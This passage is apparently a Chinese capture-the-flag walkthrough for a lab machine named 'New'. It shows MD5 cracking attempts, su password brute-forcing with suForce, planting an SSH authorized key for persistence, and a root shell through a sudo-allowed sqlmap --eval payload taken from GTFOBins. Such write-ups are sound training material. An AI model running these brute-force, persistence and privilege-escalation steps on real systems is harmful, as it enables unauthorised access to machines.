9745e0b230048eeb69eeab90ed3fef87
www-data@New:/tmp$ awk 'NR≥6490 && NR≤6492 {print NR ":" $0}' 1.txt
6490:99077a14dad0132b0c8fa7c190f9e187
6491:b8f22060a30b6266ee5952af2980a185
6492:9eeb22195b4eb7a35bcad0f45761eb7b
```

两次运行结果都包含目标`md5`值`9eeb22195b4eb7a35bcad0f45761eb7b`，说明对了，拿去`md5`破解网站查询失败，尝试爆破密码

```
└─# echo "9eeb22195b4eb7a35bcad0f45761eb7b" > hash.txt
└─# john --wordlist=/usr/share/seclists/TopDic/TOP4000Passwd.txt
hash.txt --format=raw-md5 --fork=24

└─# ./generate_by_username.sh andeli > andeli.txt
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.31.71 - - [02/Jul/2025 11:20:03] "GET /andeli.txt HTTP/1.1"
200 -

www-data@New:/tmp$ ./suForce -u andeli -w andeli.txt
           -----
 ___ _   _ |  ___|__  _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| ||  _| (_) | | | (_|  __/
|___/\__,_||_|  \___/|_|  \___\___|
________________________________________
 code: d4t4s3c     version: v1.0.0
________________________________________
🎯 Username | andeli
📖 Wordlist | andeli.txt
🔎 Status   | 326/326/100%/
❗ Fuck!    | Password not found
________________________________________
```

后面发现直接用目标`md5`：`9eeb22195b4eb7a35bcad0f45761eb7b`登陆即可

```
www-data@New:/tmp$ su - andeli
Password:#9eeb22195b4eb7a35bcad0f45761eb7b
andeli@New:~$ id
uid=1002(andeli) gid=1002(andeli) groups=1002(andeli)
# 写个公钥方便登陆
mkdir ~/.ssh
echo '<公钥>'>~/.ssh/authorized_keys
└─# ssh andeli@$IP
```

6.获得 ahiz 权限

suForc 爆破密码

可以用 suForc 爆破账户 ahiz 的密码就是 ahiz

```
└─# ./generate_by_username.sh ahiz > ahiz.txt
└─# python3 -m http.server 80

andeli@New:/tmp$ ./suForce -u ahiz -w ahiz.txt
           -----
 ___ _   _ |  ___|__  _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| ||  _| (_) | | | (_|  __/
|___/\__,_||_|  \___/|_|  \___\___|
______________________________________
 code: d4t4s3c     version: v1.0.0
______________________________________
🎯 Username | ahiz
📖 Wordlist | ahiz.txt
🔎 Status   | 1/326/0%/ahiz
💥 Password | ahiz
______________________________________
```

7.获得 root 权限

发现 sudo 可以执行 /usr/bin/sqlmap

```
andeli@New:/home/ahiz$ sudo -l
Matching Defaults entries for andeli on New:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbi
n\:/bin

User andeli may run the following commands on New:
    (ALL) NOPASSWD: /usr/bin/sqlmap
```

sqlmap 提权

直接用 gtfobins 现成的方案

```
#https://gtfobins.github.io/gtfobins/sqlmap/#sudo
sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')"
```

运行即可提权

```
andeli@New:/home/ahiz$ sudo sqlmap -u 127.0.0.1 --eval="import os;
os.system('/bin/sh')"
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.2#stable}
|_ -| . ["]     | .'| . |
|___|_  ['] _|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 23:52:00 /2025-07-01/

[23:52:00] [INFO] testing connection to the target URL
# id
uid=0(root) gid=0(root) groups=0(root)
```

H5 拿到`root.txt`

```
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
flag{root-12e5770e-5667-11f0-8acc-4fa40e22b275}
```

`ahiz`目录下不让普通用户读取的`cred.txt`文件就是`md5`值

```
# cat  /home/ahiz/cred.txt
9eeb22195b4eb7a35bcad0f45761eb7b
# ls -l /home/ahiz/cred.txt
-rw------- 1 ahiz ahiz 33 Jul  1 06:25 /home/ahiz/cred.txt
```